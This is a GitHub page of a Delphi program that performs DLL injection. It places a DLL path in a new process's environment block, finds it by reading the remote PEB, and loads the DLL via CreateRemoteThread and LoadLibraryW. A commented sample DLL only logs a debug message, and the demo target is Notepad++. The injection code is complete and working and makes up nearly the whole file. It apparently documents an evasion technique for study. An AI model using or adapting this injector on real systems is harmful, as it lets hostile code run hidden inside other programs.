-
Notifications
You must be signed in to change notification settings - Fork 5
/
ProcEnvInjection_DLLInjection.dpr
351 lines (294 loc) · 9.28 KB
/
ProcEnvInjection_DLLInjection.dpr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
(*
Example of DLL Code to test DLL Injection:
------------------------------------------
BOF>>
library UnprotectTestDLL;
uses
WinApi.Windows,
System.SysUtils,
System.Classes;
{$R *.res}
procedure DllMain(AReason: Integer);
var AMessage : String;
AStrReason : String;
begin
case AReason of
DLL_PROCESS_DETACH : AStrReason := 'DLL_PROCESS_DETACH';
DLL_PROCESS_ATTACH : AStrReason := 'DLL_PROCESS_ATTACH';
DLL_THREAD_ATTACH : AStrReason := 'DLL_THREAD_ATTACH';
DLL_THREAD_DETACH : AStrReason := 'DLL_THREAD_DETACH';
else
AStrReason := 'REASON_UNKNOWN';
end;
AMessage := Format('(%s): Injected! Living in %d (%s) process.', [
AStrReason,
GetCurrentProcessId(),
ExtractFileName(GetModuleName(0))
]);
///
OutputDebugStringW(PWideChar(AMessage));
end;
begin
DllProc := DllMain;
DllMain(DLL_PROCESS_ATTACH)
<<EOF
*)
// Support both x86-32 and x86-64
program ProcEnvInjection_DLLInjection;
{$APPTYPE CONSOLE}
{$R *.res}
uses
Winapi.Windows,
System.Math,
System.SysUtils;
type
EWindowsException = class(Exception)
private
FLastError : Integer;
public
{@C}
constructor Create(const WinAPI : String); overload;
{@G}
property LastError : Integer read FLastError;
end;
{$IFDEF WIN64}
PProcessBasicInformation = ^TProcessBasicInformation;
TProcessBasicInformation = record
ExitStatus : Int64;
PebBaseAddress : Pointer;
AffinityMask : Int64;
BasePriority : Int64;
UniqueProcessId : Int64;
InheritedUniquePID : Int64;
end;
{$ELSE}
PProcessBasicInformation = ^TProcessBasicInformation;
TProcessBasicInformation = record
ExitStatus : DWORD;
PebBaseAddress : Pointer;
AffinityMask : DWORD;
BasePriority : DWORD;
UniqueProcessId : DWORD;
InheritedUniquePID : DWORD;
end;
{$ENDIF}
UNICODE_STRING = record
Length : Word;
MaximumLength : Word;
Buffer : LPWSTR;
end;
CURDIR = record
DosPath : UNICODE_STRING;
Handle : THandle;
end;
RTL_DRIVE_LETTER_CURDIR = record
Flags : Word;
Length : Word;
TimeStamp : ULONG;
DosPath : UNICODE_STRING;
end;
TRTLUserProcessParameters = record
MaximumLength : ULONG;
Length : ULONG;
Flags : ULONG;
DebugFlags : ULONG;
ConsoleHandle : THANDLE;
ConsoleFlags : ULONG;
StandardInput : THANDLE;
StandardOutput : THANDLE;
StandardError : THANDLE;
CurrentDirectory : CURDIR;
DllPath : UNICODE_STRING;
ImagePathName : UNICODE_STRING;
CommandLine : UNICODE_STRING;
Environment : Pointer;
StartingX : ULONG;
StartingY : ULONG;
CountX : ULONG;
CountY : ULONG;
CountCharsX : ULONG;
CountCharsY : ULONG;
FillAttribute : ULONG;
WindowFlags : ULONG;
ShowWindowFlags : ULONG;
WindowTitle : UNICODE_STRING;
DesktopInfo : UNICODE_STRING;
ShellInfo : UNICODE_STRING;
RuntimeData : UNICODE_STRING;
CurrentDirectories : array [0 .. 32-1] of RTL_DRIVE_LETTER_CURDIR;
end;
PRTLUserProcessParameters = ^TRTLUserProcessParameters;
TPEB = record
Reserved1 : array [0..2-1] of Byte;
BeingDebugged : Byte;
Reserved2 : Byte;
Reserved3 : array [0..2-1] of Pointer;
Ldr : Pointer;
ProcessParameters : PRTLUserProcessParameters;
Reserved4 : array [0..103-1] of Byte;
Reserved5 : array [0..52-1] of Pointer;
PostProcessInitRoutine : Pointer;
Reserved6 : array [0..128-1] of byte;
Reserved7 : Pointer;
SessionId : ULONG;
end;
PPEB = ^TPEB;
function NtQueryInformationProcess(
ProcessHandle : THandle;
ProcessInformationClass : DWORD;
ProcessInformation : Pointer;
ProcessInformationLength : ULONG;
ReturnLength : PULONG
): LongInt; stdcall; external 'ntdll.dll';
const PROCESS_BASIC_INFORMATION = 0;
constructor EWindowsException.Create(const WinAPI : String);
var AFormatedMessage : String;
begin
FLastError := GetLastError();
AFormatedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [
WinAPI,
FLastError,
SysErrorMessage(FLastError)
]);
///
inherited Create(AFormatedMessage);
end;
function RandomString(ALength : Word) : String;
const AChars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
var I : Integer;
begin
result := '';
///
randomize;
for I := 1 to ALength do begin
result := result + AChars[random(length(AChars))+1];
end;
end;
function InjectDLL(const ADLLPath : String; AHostApplication: String; const AEggLength : Cardinal = 5) : Boolean;
var AStartupInfo : TStartupInfo;
AProcessInfo : TProcessInformation;
AEnvLen : Cardinal;
pEnvBlock : Pointer;
ARetLen : Cardinal;
PBI : TProcessBasicInformation;
APEB : TPEB;
ABytesRead : SIZE_T;
ARTLUserProcessParameters : TRTLUserProcessParameters;
i : Integer;
pOffset : Pointer;
APayloadEgg : String;
APayloadEnv : String;
ABuffer : array of byte;
pPayloadOffset : Pointer;
AThreadId : Cardinal;
begin
ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));
AStartupInfo.cb := SizeOf(TStartupInfo);
ZeroMemory(@AProcessInfo, SizeOf(TProcessInformation));
result := False;
APayloadEgg := RandomString(AEggLength);
APayloadEnv := Format('%s=%s', [APayloadEgg, ADLLPath]);
AEnvLen := (Length(APayloadEnv) * SizeOf(WideChar));
GetMem(pEnvBlock, AEnvLen);
try
ZeroMemory(pEnvBlock, AEnvLen);
Move(PWideChar(APayloadEnv)^, pEnvBlock^, AEnvLen);
///
UniqueString(AHostApplication);
if not CreateProcessW(
PWideChar(AHostApplication),
nil,
nil,
nil,
False,
CREATE_NEW_CONSOLE or CREATE_UNICODE_ENVIRONMENT,
pEnvBlock,
nil,
AStartupInfo,
AProcessInfo
) then
raise EWindowsException.Create('CreateProcessW');
// Tiny trick to be sure new process is completely initailized.
// Remove bellow if you find it problematic.
WaitForInputIdle(AProcessInfo.hProcess, INFINITE);
if NtQueryInformationProcess(
AProcessInfo.hProcess,
PROCESS_BASIC_INFORMATION,
@PBI,
SizeOf(TProcessBasicInformation),
@ARetLen
) <> ERROR_SUCCESS then
raise EWindowsException.Create('NtQueryInformationProcess');
if not ReadProcessMemory(
AProcessInfo.hProcess,
PBI.PebBaseAddress,
@APEB,
SizeOf(TPEB),
ABytesRead
) then
raise EWindowsException.Create('ReadProcessMemory');
if not ReadProcessMemory(
AProcessInfo.hProcess,
APEB.ProcessParameters,
@ARTLUserProcessParameters,
SizeOf(TRTLUserProcessParameters),
ABytesRead
) then
raise EWindowsException.Create('ReadProcessMemory');
// Scan Environment Variable Memory Block
I := 0;
SetLength(ABuffer, AEggLength * SizeOf(WideChar));
pPayloadOffset := nil;
while true do begin
pOffset := Pointer(NativeUInt(ARTLUserProcessParameters.Environment) + I);
///
if not ReadProcessMemory(
AProcessInfo.hProcess,
pOffset,
@ABuffer[0],
Length(ABuffer),
ABytesRead
) then
raise EWindowsException.Create('ReadProcessMemory');
if CompareMem(PWideChar(ABuffer), PWideChar(APayloadEgg), Length(ABuffer)) then begin
pPayloadOffset := Pointer(NativeUInt(pOffset) + Length(ABuffer) + SizeOf(WideChar) { =\0 });
break;
end;
Inc(I, 2);
end;
SetLength(ABuffer, 0);
if not Assigned(pPayloadOffset) then
raise Exception.Create('Could not locate Injected DLL Path offset from remote process environment.');
// Debug, read DLL path from remote process
// SetLength(ABuffer, AEnvLen - (5 * SizeOf(WideChar)));
// ReadProcessMemory(
// AProcessInfo.hProcess,
// pPayloadOffset,
// @ABuffer[0],
// Length(ABuffer),
// ABytesRead
// );
// WriteLn(PWideChar(ABuffer));
// Start DLL Injection
if CreateRemoteThread(
AProcessInfo.hProcess,
nil,
0,
GetProcAddress(GetModuleHandle('Kernel32.dll'), 'LoadLibraryW'),
pPayloadOffset,
0,
AThreadId
) = 0 then
raise EWindowsException.Create('CreateRemoteThread');
finally
FreeMem(pEnvBlock, AEnvLen);
end;
end;
begin
try
InjectDLL('C:\Temp\UnprotectTestDLL.dll', 'C:\Program Files\Notepad++\notepad++.exe');
except
on E: Exception do
Writeln(E.ClassName, ': ', E.Message);
end;
end.